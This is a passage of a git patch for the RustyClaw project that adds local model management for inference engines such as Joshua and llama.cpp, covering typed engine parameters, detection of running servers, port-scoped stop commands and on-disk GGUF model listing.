From 66d299bb31f8d3133fb6f7af501f9baa923ec847 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 22:41:36 -0700 Subject: [PATCH 01/10] =?UTF-8?q?feat(engines):=20local=20model=20manageme?= =?UTF-8?q?nt=20=E2=80=94=20core,=20gateway,=20and=20protocol?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Local inference engines now have real model management backing the UI: - EngineConfig gains typed, optional parameters (context_length, device, huge_pages, mmap, lazy_weights, max_output_tokens, max_concurrency) that Joshua maps to its serve flags (--n-ctx/--device/--huge-pages/--mmap/ --lazy-weights/--max-output-tokens/--max-concurrency); llama.cpp maps context_length to --ctx-size. extra_args remains the escape hatch and still wins on the command line. - The engine registry detects servers already running on the host (joshua serve / llama-server, Linux, best-effort) and reports them as running with the models they serve, so the UI shows what is actually loaded even when a server was started outside RustyClaw. - stop() now receives the engine config so engines scope their kill to their own port instead of pkill'ing every matching server on the host; Load/Unload/Start are honest about externally-run servers (refuse to kill them, report which port they are on, don't spawn a duplicate). - provider_models_with_local_fallback() merges the live provider API list with the engine's on-disk model list (GGUF scans for Joshua/llama.cpp), clears the fetch error when local models exist, and reports which models are loaded — the data behind on-disk model pickers. - Joshua's spawn reports a real error when the server never answers (instead of a forever "may still be loading"). - The gateway's per-turn model-call deadline is configurable via RUSTYCLAW_MODEL_TIMEOUT_SECS (default 180) — local engines on loaded machines can exceed the old hard-coded cap while prefilling. - Wire/protocol: EngineConfigSet client command, EngineInfoDto carries the full engine config, ProviderModelListResult carries loaded-model ids. Config example + CHANGELOG updated. --- CHANGELOG.md | 31 ++ config.example.toml | 16 +- .../rustyclaw-core/src/engines/downloaders.rs | 2 +- crates/rustyclaw-core/src/engines/exo.rs | 2 +- crates/rustyclaw-core/src/engines/joshua.rs | 160 ++++-- crates/rustyclaw-core/src/engines/llamacpp.rs | 115 +++- crates/rustyclaw-core/src/engines/lmstudio.rs | 2 +- crates/rustyclaw-core/src/engines/mod.rs | 495 +++++++++++++++++- crates/rustyclaw-core/src/engines/ollama.rs | 2 +- .../src/gateway/client_types.rs | 16 + .../src/gateway/protocol/frames.rs | 5 + .../src/gateway/protocol/frames/dto.rs | 4 + crates/rustyclaw-desktop/src/app_support.rs | 1 + crates/rustyclaw-gateway/src/dispatch.rs | 12 +- .../rustyclaw-gateway/src/engine_handler.rs | 7 +- crates/rustyclaw-gateway/src/server.rs | 32 +- 16 files changed, 824 insertions(+), 78 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f383f8f0..c08bbb5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Configurable model-call deadline.** The gateway's per-turn model call + used a hard-coded 180s cap, which local engines on a loaded machine can + exceed while prefilling a large prompt (a single 2k-token prompt on a + busy CPU box took ~15 minutes here). `RUSTYCLAW_MODEL_TIMEOUT_SECS` + now overrides it (default stays 180), so local-model setups can give + turns the time they need instead of dying mid-prefill. + +- **Local model management in the UI: on-disk models in every picker, and + engine parameters.** The chat composer's model dropdown (desktop) and the + provider/model selectors (TUI) now show what is actually available locally + for the local engine providers — Joshua, llama.cpp, LM Studio, exo, Ollama + — even when the engine server is not running. The gateway's + `ProviderModelList` handler (and the TUI's beside-the-vault fetches) merge + the live API list with the engine registry's own model list; for the + file-based engines (Joshua, llama.cpp) that list is a scan of the models + directory, so a model only has to be on disk to be pickable. llama.cpp's + `list_models` gained the same on-disk scan. `EngineInfoDto` now carries the + engine's full `EngineConfig`, and the "Local Engines & Models" dialog + (desktop) gained a parameters editor per engine tab: context window + (`--n-ctx`/`--ctx-size`/`--num-ctx`), default model (picked from the local + model list), auto-start, and — for Joshua — device (`--device`), huge pages + (`--huge-pages`), `--mmap`, `--lazy-weights`, `--max-output-tokens` and + `--max-concurrency`. The TUI `/engines` panel got the same editor as a + keyboard-driven mode (p to edit, +/- adjust, x clear, Enter saves via + `EngineConfigSet`, which persists to config.toml). Parameters apply on the + next engine start or model load; per-load context overrides for Joshua now + map to `--n-ctx`. New `EngineConfig` fields are optional and defaulted, so + existing configs parse unchanged. + +### Added + - **Messenger-kind registry (plugin architecture, `docs/PLUGIN_ARCHITECTURE.md` §14).** Messenger backends had the pre-phase-0 tool shape: a static schema table beside a hardcoded factory `match` in the gateway, plus a `cfg!` diff --git a/config.example.toml b/config.example.toml index fa40316f..25f1e2e4 100644 --- a/config.example.toml +++ b/config.example.toml @@ -78,9 +78,11 @@ use_secrets = true # models = ["qwen3-coder-30b", "llama-3.3-70b"] # optional; /v1/models is also queried # ── Local inference engines ─────────────────────────────────────────────── -# Engines are managed from the TUI /engines panel (install/start/stop/pull). -# Joshua (https://github.com/rexlunae/joshua) is a pure-Rust GGUF server: -# one process serves one model, picked from models_dir at startup. +# Engines are managed from the TUI /engines panel (install/start/stop/pull) +# and the desktop "Local Engines & Models" dialog (which also edits the +# parameters below). Joshua (https://github.com/rexlunae/joshua) is a +# pure-Rust GGUF server: one process serves one model, picked from models_dir +# at startup. # # [engines.joshua] # enabled = true @@ -88,6 +90,14 @@ use_secrets = true # models_dir = "/home/user/.rustyclaw/models/joshua" # default_model = "qwen3-4b-Q4_K_M" # GGUF file stem to serve # auto_start = true # start with the gateway +# context_length = 8192 # --n-ctx (joshua/llama.cpp/ollama) +# device = "auto" # joshua --device: auto|cpu|metal|cuda +# huge_pages = "off" # joshua --huge-pages: off|transparent|2mb|1gb|huge +# mmap = false # joshua --mmap: require a memory-mappable model +# lazy_weights = false # joshua --lazy-weights: optimise for huge models +# max_output_tokens = 4096 # joshua --max-output-tokens +# max_concurrency = 8 # joshua --max-concurrency +# extra_args = [] # any other flags, passed verbatim # # [engines.ollama] # enabled = true diff --git a/crates/rustyclaw-core/src/engines/downloaders.rs b/crates/rustyclaw-core/src/engines/downloaders.rs index 8208ff8f..deaf6b3a 100644 --- a/crates/rustyclaw-core/src/engines/downloaders.rs +++ b/crates/rustyclaw-core/src/engines/downloaders.rs @@ -149,7 +149,7 @@ impl LocalEngine for HuggingFaceDownloader { anyhow::bail!("The Hugging Face CLI is a downloader tool, not a server — nothing to start.") } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { anyhow::bail!("The Hugging Face CLI is a downloader tool, not a server — nothing to stop.") } diff --git a/crates/rustyclaw-core/src/engines/exo.rs b/crates/rustyclaw-core/src/engines/exo.rs index 7e005dc9..d4ea3180 100644 --- a/crates/rustyclaw-core/src/engines/exo.rs +++ b/crates/rustyclaw-core/src/engines/exo.rs @@ -156,7 +156,7 @@ impl LocalEngine for ExoEngine { } } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { Self::sh("pkill -f 'exo' 2>/dev/null; echo 'stopped'").await } diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index f3b3f7f3..6bac3afa 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -86,6 +86,32 @@ impl JoshuaEngine { .unwrap_or_default() } + /// `(model name, port)` for every `joshua serve` process running on the + /// host — including servers started manually outside RustyClaw — so the + /// UI can show which models are actually running. Best-effort (Linux); + /// empty elsewhere. + async fn running_servers() -> Vec<(String, Option)> { + let lines = crate::engines::running_server_cmdlines("joshua serve").await; + crate::engines::parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080) + } + + /// The endpoint the engine should actually talk to: the configured one + /// when it answers, otherwise the first `joshua serve` detected on the + /// host — so the engine genuinely reaches a joshua that was started + /// outside RustyClaw instead of pretending it is unreachable. + async fn effective_endpoint(cfg: &EngineConfig) -> String { + let configured = Self::endpoint(cfg); + if Self::is_running(&configured).await { + return configured; + } + Self::running_servers() + .await + .first() + .and_then(|(_, port)| *port) + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(configured) + } + async fn sh(script: &str) -> Result { let output = tokio::process::Command::new("sh") .arg("-c") @@ -109,12 +135,25 @@ impl JoshuaEngine { /// Start `joshua serve` for the given GGUF file. async fn spawn_server(cfg: &EngineConfig, model_path: &Path) -> Result { + if !Self::is_installed().await { + anyhow::bail!( + "joshua is not installed. Install it from the engines dialog, or \ + `cargo install --git https://github.com/rexlunae/joshua joshua`." + ); + } let port = cfg.port.unwrap_or(DEFAULT_PORT); let mut cmd = format!( "nohup joshua serve --model '{}' --addr 127.0.0.1:{}", model_path.display(), port ); + // Typed parameters (context window, device, huge pages, …) become + // flags first; raw extra_args come after so an explicit flag in + // extra_args still wins (clap takes the last occurrence). + for arg in joshua_serve_flags(cfg) { + cmd.push(' '); + cmd.push_str(&arg); + } for arg in &cfg.extra_args { cmd.push(' '); cmd.push_str(arg); @@ -124,7 +163,7 @@ impl JoshuaEngine { // GGUF loading is mmap-based and fast, but give it a moment. let endpoint = Self::endpoint(cfg); - for _ in 0..10 { + for _ in 0..20 { tokio::time::sleep(std::time::Duration::from_millis(500)).await; if Self::is_running(&endpoint).await { return Ok(format!( @@ -137,7 +176,14 @@ impl JoshuaEngine { )); } } - Ok("joshua start command issued; the model may still be loading.".into()) + // The server never answered: report it as a real failure with a way + // forward, instead of a forever "may still be loading". + anyhow::bail!( + "joshua serve did not answer on {} within 10s. The model file may be invalid or \ + joshua failed at load — run `joshua serve --model '{}'` manually to see the error.", + endpoint, + model_path.display() + ) } } @@ -150,32 +196,6 @@ pub fn default_models_dir() -> PathBuf { .join("joshua") } -/// Scan a directory (recursively, one level of subdirectories) for GGUF files. -pub fn scan_gguf_models(dir: &Path) -> Vec { - let mut found = Vec::new(); - let Ok(entries) = std::fs::read_dir(dir) else { - return found; - }; - for entry in entries.flatten() { - let path = entry.path(); - if path.is_dir() { - // HF downloads land in per-repo subdirectories. - if let Ok(sub) = std::fs::read_dir(&path) { - for sub_entry in sub.flatten() { - let sub_path = sub_entry.path(); - if sub_path.extension().is_some_and(|e| e == "gguf") { - found.push(sub_path); - } - } - } - } else if path.extension().is_some_and(|e| e == "gguf") { - found.push(path); - } - } - found.sort(); - found -} - /// Resolve which GGUF file to serve, in priority order: /// 1. an explicit `--model ` in `extra_args`, /// 2. the configured `default_model` (matched against file stems), @@ -287,6 +307,7 @@ impl LocalEngine for JoshuaEngine { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); let available = scan_gguf_models(&Self::models_dir(cfg)).len() as u32; + let detected = Self::running_servers().await; let run_status = if Self::is_running(&endpoint).await { let loaded = Self::loaded_model_ids(&endpoint).await.len() as u32; @@ -295,6 +316,21 @@ impl LocalEngine for JoshuaEngine { loaded_models: loaded, available_models: available.max(loaded), } + } else if !detected.is_empty() { + // Joshua servers are running on the host outside the configured + // endpoint (started manually, or another instance). Report them + // so the UI reflects reality instead of "stopped". + let detected_endpoint = detected + .first() + .and_then(|(_, port)| *port) + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(endpoint); + let loaded = detected.len() as u32; + EngineRunStatus::Running { + endpoint: detected_endpoint, + loaded_models: loaded, + available_models: available.max(loaded), + } } else { EngineRunStatus::Stopped }; @@ -331,21 +367,47 @@ impl LocalEngine for JoshuaEngine { if Self::is_running(&endpoint).await { return Ok("joshua is already running.".into()); } + // A joshua started outside RustyClaw is running on another port — + // don't spawn a second server; point the user at the running one. + if let Some((_, port)) = Self::running_servers().await.first() { + return Ok(format!( + "joshua is already running outside RustyClaw (detected on port {}). \ + Configure the engine's port to that server to manage it.", + port.unwrap_or(8080) + )); + } let model_path = resolve_model_path(cfg)?; Self::spawn_server(cfg, &model_path).await } - async fn stop(&self) -> Result { - Self::sh("pkill -f 'joshua serve' 2>/dev/null; echo 'stopped'").await + async fn stop(&self, cfg: &EngineConfig) -> Result { + // Scoped to the configured port: `pkill -f 'joshua serve'` would + // also kill servers started manually on other ports. + let port = cfg.port.unwrap_or(DEFAULT_PORT); + Self::sh(&format!( + "pkill -f 'joshua serve .*127.0.0.1:{}' 2>/dev/null; echo 'stopped'", + port + )) + .await } async fn list_models(&self, cfg: &EngineConfig) -> Result> { - let endpoint = Self::endpoint(cfg); - let loaded_ids = if Self::is_running(&endpoint).await { + // Talk to the configured endpoint when it answers, otherwise to the + // first server detected on the host — the loaded set should reflect + // the joshua the engine can actually reach. + let endpoint = Self::effective_endpoint(cfg).await; + let mut loaded_ids = if Self::is_running(&endpoint).await { Self::loaded_model_ids(&endpoint).await } else { Vec::new() }; + // Mark models served by running joshua processes (even ones started + // outside RustyClaw) as loaded, so the UI shows what is running. + for (name, _) in Self::running_servers().await { + if !loaded_ids.iter().any(|id| id == &name) { + loaded_ids.push(name); + } + } let dir = Self::models_dir(cfg); let mut models: Vec = scan_gguf_models(&dir) @@ -477,21 +539,47 @@ impl LocalEngine for JoshuaEngine { let path = find_model_file(&dir, model) .ok_or_else(|| anyhow::anyhow!("Model '{}' not found in {}", model, dir.display()))?; - let endpoint = Self::endpoint(cfg); + // If a running server (managed or detected) already serves this + // model, there is nothing to do — say so instead of respawning. + let running = Self::running_servers().await; + if let Some((name, port)) = running.iter().find(|(n, _)| n == model) { + return Ok(format!( + "Model '{}' is already loaded (running on port {})", + name, + port.unwrap_or(8080) + )); + } + + let endpoint = Self::effective_endpoint(cfg).await; if Self::is_running(&endpoint).await { let already = Self::loaded_model_ids(&endpoint).await; if already.iter().any(|id| id == model) { return Ok(format!("Model '{}' is already loaded", model)); } - self.stop().await.ignore(); + self.stop(cfg).await.ignore(); tokio::time::sleep(std::time::Duration::from_millis(500)).await; } Self::spawn_server(cfg, &path).await } - async fn unload(&self, model: &str, _cfg: &EngineConfig) -> Result { + async fn unload(&self, model: &str, cfg: &EngineConfig) -> Result { + // A model served by a joshua started outside RustyClaw is not ours + // to kill — stopping it would surprise the person who started it. + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); + if let Some((_, port)) = Self::running_servers() + .await + .iter() + .find(|(n, p)| n == model && *p != Some(configured_port)) + { + anyhow::bail!( + "Model '{}' is served by a joshua started outside RustyClaw (port {}). \ + Stop it manually to unload it.", + model, + port.unwrap_or(8080) + ); + } // One process serves one model: unloading stops the server. - self.stop().await.ignore(); + self.stop(cfg).await.ignore(); Ok(format!("Model '{}' unloaded (joshua stopped)", model)) } diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index 1b8410c6..c5917b99 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -21,6 +21,14 @@ impl LlamaCppEngine { }) } + /// `(model name, port)` for every `llama-server` process running on the + /// host — including ones started manually outside RustyClaw. Best-effort + /// (Linux); empty elsewhere. + async fn running_servers() -> Vec<(String, Option)> { + let lines = crate::engines::running_server_cmdlines("llama-server").await; + crate::engines::parse_server_cmdlines(&lines, &["--model", "-m"], &["--port"], 8080) + } + async fn api(endpoint: &str, method: &str, path: &str, body: Option<&Value>) -> Result { let url = format!("{}{}", endpoint, path); let client = reqwest::Client::new(); @@ -116,6 +124,7 @@ impl LocalEngine for LlamaCppEngine { async fn status(&self, cfg: &EngineConfig) -> EngineStatus { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); + let detected = Self::running_servers().await; let run_status = if !presence.installed { EngineRunStatus::Stopped @@ -132,6 +141,20 @@ impl LocalEngine for LlamaCppEngine { loaded_models: available, // llama-server only shows loaded models available_models: available, } + } else if !detected.is_empty() { + // llama-server processes are running outside the configured + // endpoint; report them so the UI reflects reality. + let detected_endpoint = detected + .first() + .and_then(|(_, port)| *port) + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(endpoint); + let loaded = detected.len() as u32; + EngineRunStatus::Running { + endpoint: detected_endpoint, + loaded_models: loaded, + available_models: loaded, + } } else { EngineRunStatus::Stopped }; @@ -202,38 +225,88 @@ impl LocalEngine for LlamaCppEngine { } } - async fn stop(&self) -> Result { - Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await + async fn stop(&self, cfg: &EngineConfig) -> Result { + // Scoped to the configured port: `pkill -f 'llama-server'` would + // also kill servers started manually on other ports. + let port = cfg.port.unwrap_or(8080); + Self::sh(&format!( + "pkill -f 'llama-server .*--port {}' 2>/dev/null; echo 'stopped'", + port + )) + .await } async fn list_models(&self, cfg: &EngineConfig) -> Result> { + // A running llama-server reports only the model it is serving. For + // "what is available locally" we merge in every GGUF in the models + // directory (configured `models_dir`, or the llama.cpp cache dir), + // so models on disk show up even before the server is started. + let mut names: Vec = Vec::new(); + let mut loaded: Vec = Vec::new(); let endpoint = Self::endpoint(cfg); - let resp = Self::api(&endpoint, "GET", "/v1/models", None).await?; - let parsed: Value = serde_json::from_str(&resp)?; - let models = parsed - .get("data") - .and_then(|d| d.as_array()) - .cloned() - .unwrap_or_default(); - - Ok(models - .iter() - .map(|m| { - let name = m - .get("id") - .and_then(|n| n.as_str()) - .unwrap_or("?") - .to_string(); + if let Ok(resp) = Self::api(&endpoint, "GET", "/v1/models", None).await { + if let Ok(parsed) = serde_json::from_str::(&resp) { + if let Some(arr) = parsed.get("data").and_then(|d| d.as_array()) { + for m in arr { + if let Some(id) = m.get("id").and_then(|n| n.as_str()) { + names.push(id.to_string()); + loaded.push(id.to_string()); + } + } + } + } + } + // Mark models served by running llama-server processes (even ones + // started outside RustyClaw) as loaded. + for (name, _) in Self::running_servers().await { + if !loaded.iter().any(|l| l == &name) { + loaded.push(name); + } + } + + let models_dir = cfg.models_dir.clone().unwrap_or_else(|| { + dirs::cache_dir() + .unwrap_or_else(|| std::path::PathBuf::from("/tmp")) + .join("llama.cpp") + .to_string_lossy() + .to_string() + }); + // (name, path) for every GGUF on disk, deduped against the API list. + let mut on_disk: Vec<(String, std::path::PathBuf)> = Vec::new(); + for path in crate::engines::scan_gguf_models(std::path::Path::new(&models_dir)) { + let name = path + .file_stem() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|| path.display().to_string()); + if !names.iter().any(|n| n == &name) { + names.push(name.clone()); + on_disk.push((name, path)); + } + } + + Ok(names + .into_iter() + .map(|name| { + let is_loaded = loaded.iter().any(|l| l == &name); + let (size_bytes, modified_at) = on_disk + .iter() + .find(|(n, _)| n == &name) + .and_then(|(_, p)| std::fs::metadata(p).ok()) + .map(|m| (m.len(), m.modified().ok())) + .unwrap_or((0, None)); + let modified_at = modified_at + .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) + .map(|d| d.as_secs().to_string()); LocalModel { name, - size_bytes: 0, + size_bytes, quantization: None, context_length: None, - loaded: true, // if listed by llama-server, it's loaded + loaded: is_loaded, vram_bytes: None, family: None, format: Some("gguf".into()), - modified_at: None, + modified_at, } }) .collect()) diff --git a/crates/rustyclaw-core/src/engines/lmstudio.rs b/crates/rustyclaw-core/src/engines/lmstudio.rs index 85630b55..33255558 100644 --- a/crates/rustyclaw-core/src/engines/lmstudio.rs +++ b/crates/rustyclaw-core/src/engines/lmstudio.rs @@ -89,7 +89,7 @@ impl LocalEngine for LmStudioEngine { anyhow::bail!("LM Studio manages its own lifecycle; start it from the app") } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { anyhow::bail!("LM Studio manages its own lifecycle; stop it from the app") } diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index d9bcd092..f4e49295 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -18,6 +18,7 @@ use crate::ignore::Ignore; use anyhow::Result; use serde::{Deserialize, Serialize}; use std::fmt; +use std::path::{Path, PathBuf}; // ── Core types ────────────────────────────────────────────────────────────── @@ -56,7 +57,13 @@ pub struct EngineStatus { } /// Per-engine configuration (stored in Config.engines). -#[derive(Debug, Clone, Serialize, Deserialize)] +/// +/// The typed fields below (context window, device, …) are the parameters the +/// UI exposes per engine; each engine maps them to its own CLI flags. They +/// are separate from `extra_args` so the UI can round-trip them without +/// parsing flag strings. `extra_args` remains the escape hatch for anything +/// the typed fields don't cover. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct EngineConfig { /// Whether this engine is enabled. #[serde(default = "default_true")] @@ -80,6 +87,33 @@ pub struct EngineConfig { /// process (e.g. Joshua). Matched against model names from `list_models`. #[serde(default)] pub default_model: Option, + /// Context window override in tokens. Engine flags: Joshua `--n-ctx`, + /// llama.cpp `--ctx-size`, Ollama `--num-ctx` (load-time knob). + #[serde(default)] + pub context_length: Option, + /// Compute backend for engines that accept one (Joshua `--device`; + /// `auto`, `cpu`, `metal`, `cuda`). + #[serde(default)] + pub device: Option, + /// Huge-page strategy (Joshua `--huge-pages`; `off`, `transparent`, + /// `2mb`, `1gb`, `huge`). + #[serde(default)] + pub huge_pages: Option, + /// Require the model file to be memory-mappable (Joshua `--mmap`). + #[serde(default)] + pub mmap: bool, + /// Optimise the mapping for a model far larger than RAM (Joshua + /// `--lazy-weights`). + #[serde(default)] + pub lazy_weights: bool, + /// Hard ceiling on tokens generated per request (Joshua + /// `--max-output-tokens`). + #[serde(default)] + pub max_output_tokens: Option, + /// Maximum concurrent generations/embeddings (Joshua + /// `--max-concurrency`). + #[serde(default)] + pub max_concurrency: Option, } fn default_true() -> bool { @@ -96,6 +130,13 @@ impl Default for EngineConfig { auto_start: false, extra_args: Vec::new(), default_model: None, + context_length: None, + device: None, + huge_pages: None, + mmap: false, + lazy_weights: false, + max_output_tokens: None, + max_concurrency: None, } } } @@ -441,8 +482,10 @@ pub trait LocalEngine: Send + Sync { /// Start the engine process. async fn start(&self, cfg: &EngineConfig) -> Result; - /// Stop the engine process. - async fn stop(&self) -> Result; + /// Stop the engine process. Receives the config so engines can scope + /// the stop to their own server (port/endpoint) instead of killing + /// every matching process on the host. + async fn stop(&self, cfg: &EngineConfig) -> Result; /// List models available to this engine. async fn list_models(&self, cfg: &EngineConfig) -> Result>; @@ -509,6 +552,331 @@ impl Default for EngineRegistry { // ── Service integration ───────────────────────────────────────────────────── +/// Scan a directory (recursively, one level of subdirectories) for GGUF files. +/// +/// Shared by the file-based engines (Joshua, llama.cpp) whose "local models" +/// are GGUF files on disk; Hugging Face downloads land in per-repo +/// subdirectories, hence the one-level recursion. +pub fn scan_gguf_models(dir: &Path) -> Vec { + let mut found = Vec::new(); + let Ok(entries) = std::fs::read_dir(dir) else { + return found; + }; + for entry in entries.flatten() { + let path = entry.path(); + if path.is_dir() { + if let Ok(sub) = std::fs::read_dir(&path) { + for sub_entry in sub.flatten() { + let sub_path = sub_entry.path(); + if sub_path.extension().is_some_and(|e| e == "gguf") { + found.push(sub_path); + } + } + } + } else if path.extension().is_some_and(|e| e == "gguf") { + found.push(path); + } + } + found.sort(); + found +} + +/// Command lines of running processes matching `pattern` (Linux only, +/// best-effort). Used by the file-based engines to report servers that are +/// already running on the host — including ones started manually outside +/// RustyClaw — so the UI can say *which models are running* rather than only +/// what the configured endpoint answers. +pub async fn running_server_cmdlines(pattern: &str) -> Vec { + #[cfg(target_os = "linux")] + { + if let Ok(output) = tokio::process::Command::new("pgrep") + .args(["-af", pattern]) + .output() + .await + { + if output.status.success() { + return String::from_utf8_lossy(&output.stdout) + .lines() + .map(str::to_string) + // Exclude the pgrep process itself (its own cmdline + // contains the pattern). + .filter(|l| !l.contains("pgrep")) + .collect(); + } + } + } + Vec::new() +} + +/// Parse engine-server command lines (from [`running_server_cmdlines`]) +/// into `(model_name, port)` pairs. +/// +/// Understands `--model/-m ` (and `--flag=value` forms) for the model, +/// and the given port flags (e.g. `--addr host:port` for joshua, +/// `--port N` for llama-server). Both the real server process and the +/// `sh -c "nohup …"` wrapper that spawned it match the pgrep pattern, so +/// results are deduped by model name. +pub(crate) fn parse_server_cmdlines( + lines: &[String], + model_flags: &[&str], + port_flags: &[&str], + default_port: u16, +) -> Vec<(String, Option)> { + fn clean_token(tok: &str) -> String { + tok.trim_matches(|c| c == '\'' || c == '"').to_string() + } + + fn port_from(token: &str) -> Option { + let token = token.trim_matches(|c| c == '\'' || c == '"'); + // "host:port" or bare "port". + token + .rsplit_once(':') + .map(|(_, p)| p) + .unwrap_or(token) + .parse() + .ok() + } + + let mut out: Vec<(String, Option)> = Vec::new(); + for line in lines { + let line = line.trim(); + if line.is_empty() { + continue; + } + // The line is " "; drop the pid. + let toks: Vec<&str> = line.split_whitespace().skip(1).collect(); + let mut model: Option = None; + let mut port: Option = None; + let mut i = 0; + while i < toks.len() { + let tok = toks[i]; + if model_flags.contains(&tok) { + if let Some(v) = toks.get(i + 1) { + model = Some(clean_token(v)); + i += 2; + continue; + } + } + if port_flags.contains(&tok) { + if let Some(v) = toks.get(i + 1) { + port = port_from(v).or(port); + i += 2; + continue; + } + } + // --flag=value forms. + if let Some((flag, val)) = tok.split_once('=') { + if model_flags.contains(&flag) { + model = Some(clean_token(val)); + } else if port_flags.contains(&flag) { + port = port_from(val).or(port); + } + } + i += 1; + } + if let Some(path) = model { + let name = Path::new(&path) + .file_stem() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|| path.clone()); + if !out.iter().any(|(n, _)| *n == name) { + out.push((name, port)); + } + } + } + if out.is_empty() { + out + } else { + // Fill unparsed ports with the engine's default so callers can + // report a usable endpoint. + out.into_iter() + .map(|(n, p)| (n, p.or(Some(default_port)))) + .collect() + } +} + +/// CLI flags for a Joshua server derived from the typed [`EngineConfig`] +/// parameter fields. `extra_args` is appended by the caller, so a raw +/// `--n-ctx`/`--device`/… in `extra_args` still wins (it comes later on the +/// command line and Joshua's clap takes the last occurrence). +pub fn joshua_serve_flags(cfg: &EngineConfig) -> Vec { + let mut flags = Vec::new(); + if let Some(ctx) = cfg.context_length { + flags.push("--n-ctx".into()); + flags.push(ctx.to_string()); + } + if let Some(device) = &cfg.device { + if !device.is_empty() { + flags.push("--device".into()); + flags.push(device.clone()); + } + } + if let Some(hp) = &cfg.huge_pages { + if !hp.is_empty() && hp != "off" { + flags.push("--huge-pages".into()); + flags.push(hp.clone()); + } + } + if cfg.mmap { + flags.push("--mmap".into()); + } + if cfg.lazy_weights { + flags.push("--lazy-weights".into()); + } + if let Some(m) = cfg.max_output_tokens { + flags.push("--max-output-tokens".into()); + flags.push(m.to_string()); + } + if let Some(c) = cfg.max_concurrency { + flags.push("--max-concurrency".into()); + flags.push(c.to_string()); + } + flags +} + +/// Result of a provider model-list fetch with the local-engine fallback: +/// the pickable ids, which of them are currently loaded/running (for +/// "running" markers in pickers), and the fetch error (cleared when local +/// models were found). +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ProviderModels { + pub models: Vec, + /// Models the local engine reports as loaded/running (a subset of + /// `models` for engine providers; empty for cloud providers). + pub loaded: Vec, + pub error: Option, +} + +/// Fetch the model list for a provider, with the local-engine fallback. +/// +/// The live provider API list is fetched first (as +/// [`crate::providers::fetch_models`]); for providers that are also local +/// engines (Ollama, llama.cpp, LM Studio, exo, Joshua) the engine's own +/// model list is merged in — for the file-based engines (Joshua, llama.cpp) +/// that is a scan of the models directory, so it works even when the engine +/// server is not running. The returned error is cleared whenever local +/// models could be listed: the whole point of the fallback is that pickers +/// show what is available locally. +/// +/// Used by the gateway (for remote clients) and by the TUI (which fetches +/// beside the vault). +pub async fn provider_models_with_local_fallback( + provider: &str, + api_key: Option<&str>, + base_url_override: Option<&str>, + engine_configs: &std::collections::HashMap, +) -> ProviderModels { + let (mut models, mut error) = + match crate::providers::fetch_models(provider, api_key, base_url_override).await { + Ok(models) => (models, None), + Err(e) => (Vec::new(), Some(format!("{:#}", e))), + }; + + let registry = EngineRegistry::new(); + let mut loaded = Vec::new(); + if let Some(engine) = registry.get(provider) { + let cfg = engine_configs.get(provider).cloned().unwrap_or_default(); + match engine.list_models(&cfg).await { + Ok(local) => { + for m in local { + if !models.iter().any(|existing| existing == &m.name) { + models.push(m.name.clone()); + } + if m.loaded && !loaded.iter().any(|l| l == &m.name) { + loaded.push(m.name); + } + } + if !models.is_empty() { + models.sort(); + error = None; + } + } + Err(e) => { + tracing::debug!( + provider = %provider, + error = %e, + "Engine-local model list unavailable" + ); + } + } + } + + ProviderModels { + models, + loaded, + error, + } +} + +/// Metadata-carrying variant of [`provider_models_with_local_fallback`]: +/// same local-engine fallback, but returns the rich [`crate::providers::ModelInfo`] +/// entries (pricing, context length, display name) that +/// [`crate::providers::fetch_models_detailed`] produces. Locally-scanned +/// models carry only their id (the engines layer knows the names, not the +/// pricing). +pub async fn provider_models_detailed_with_local_fallback( + provider: &str, + api_key: Option<&str>, + base_url_override: Option<&str>, + engine_configs: &std::collections::HashMap, +) -> Result> { + use crate::providers::ModelInfo; + + let live = crate::providers::fetch_models_detailed(provider, api_key, base_url_override).await; + + let local: Option> = match EngineRegistry::new().get(provider) { + Some(engine) => { + let cfg = engine_configs.get(provider).cloned().unwrap_or_default(); + match engine.list_models(&cfg).await { + Ok(models) => Some(models), + Err(e) => { + tracing::debug!( + provider = %provider, + error = %e, + "Engine-local model list unavailable" + ); + None + } + } + } + None => None, + }; + + let local_ids: Vec = local + .as_ref() + .map(|models| models.iter().map(|m| m.name.clone()).collect()) + .unwrap_or_default(); + + match live { + Ok(mut models) => { + for name in local_ids { + if !models.iter().any(|m| m.id == name) { + models.push(ModelInfo { + id: name, + name: None, + context_length: None, + pricing_prompt: None, + pricing_completion: None, + }); + } + } + models.sort_by(|a, b| a.id.cmp(&b.id)); + Ok(models) + } + Err(_e) if !local_ids.is_empty() => Ok(local_ids + .into_iter() + .map(|id| ModelInfo { + id, + name: None, + context_length: None, + pricing_prompt: None, + 